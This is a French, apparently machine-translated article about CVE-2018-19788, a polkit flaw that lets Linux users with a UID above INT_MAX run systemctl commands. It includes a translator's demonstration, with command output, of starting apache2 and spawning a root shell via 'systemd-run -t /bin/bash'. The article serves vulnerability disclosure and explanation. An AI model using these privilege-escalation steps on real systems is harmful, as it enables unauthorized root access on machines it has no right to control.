Les utilisateurs Linux non privilégiés avec UID> INT_MAX peuvent exécuter n'importe quelle commande

Asseyez-vous, j'ai des nouvelles qui vous choquent en ce moment ...

Les systèmes d'exploitation Linux ont une vulnérabilité non dissimulée qui permet à un utilisateur avec de faibles privilèges d'être autorisé à exécuter n'importe quelle commande systemctl (et même à devenir root - approximativement Translator) si son UID est supérieur à 2147483647.

image

La vulnérabilité décrite, suivie comme CVE-2018-19788, se trouve dans la bibliothèque PolicyKit (également connue sous le nom de polkit ) version 0.115, préinstallée sur les distributions Linux les plus populaires, y compris Red Hat, Debian, Ubuntu et CentOS. Polkit est un outil sur des systèmes de type UNIX qui est utilisé pour définir des politiques et fournir des processus privilégiés avec un accès privilégié. Contrairement à sudo, il ne donne pas de privilèges d'administrateur de processus utilisateur, mais vous permet de contrôler précisément ce qui est autorisé et ce qui est interdit.

La vulnérabilité est due à une erreur dans la vérification des demandes de droits PolicyKit pour tout utilisateur avec un UID supérieur à INT_MAX. INT_MAX est une constante qui stocke la valeur maximale d'une variable entière de type entier, qui est 2147483647 (en hexadécimal 0x7FFFFFFF).

Ainsi, si nous créons un compte avec un UID qui dépasse INT_MAX, le composant PolicyKit exécutera avec succès n'importe quelle commande systemctl.

Le chercheur en sécurité Twitter Rich Mirch, qui s'est présenté comme « 0xm1rch », a publié un exploit de preuve de concept (PoC) pour démontrer avec succès la vulnérabilité qui nécessite un utilisateur avec un UID de 4 000 000 000.

Red Hat recommande que les administrateurs système n'autorisent aucun UID négatif ou UID supérieur à 2147483646 pour résoudre le problème avant la publication du correctif.

Plusieurs méthodes de fonctionnement d'un traducteur


La première façon consiste simplement à utiliser systemctl. J'ai créé un utilisateur avec un grand UID, puis j'ai essayé d'exécuter apache2:

1) a d'abord vérifié qu'il mentait

$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: inactive (dead) 

2) a essayé de démarrer, mais a obtenu une erreur

 $ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) 

3) mais s'est assuré que ça commençait toujours

 $ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service ├─2829 /usr/sbin/apache2 -k start ├─2830 /usr/sbin/apache2 -k start └─2831 /usr/sbin/apache2 -k start 

La deuxième façon consiste à exécuter bash via systemd. J'ai exécuté la commande suivante, créé un document texte à la racine du fs, y ai ajouté une ligne et vérifié le résultat

 $ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello 

En expérimentant dans mon ubunt, j'ai également trouvé un tel modèle: si sous un utilisateur avec un tel UID, accédez aux paramètres du compte, alors tous les paramètres sont déverrouillés, ce qui vous permet de modifier / supprimer des utilisateurs.

La question demeure, comment maintenant «provoquer» l'apparition d'un utilisateur avec un tel UID sur l'hôte victime, et ce bug est-il vraiment une menace?

Source: https://habr.com/ru/post/fr432610/


All Articles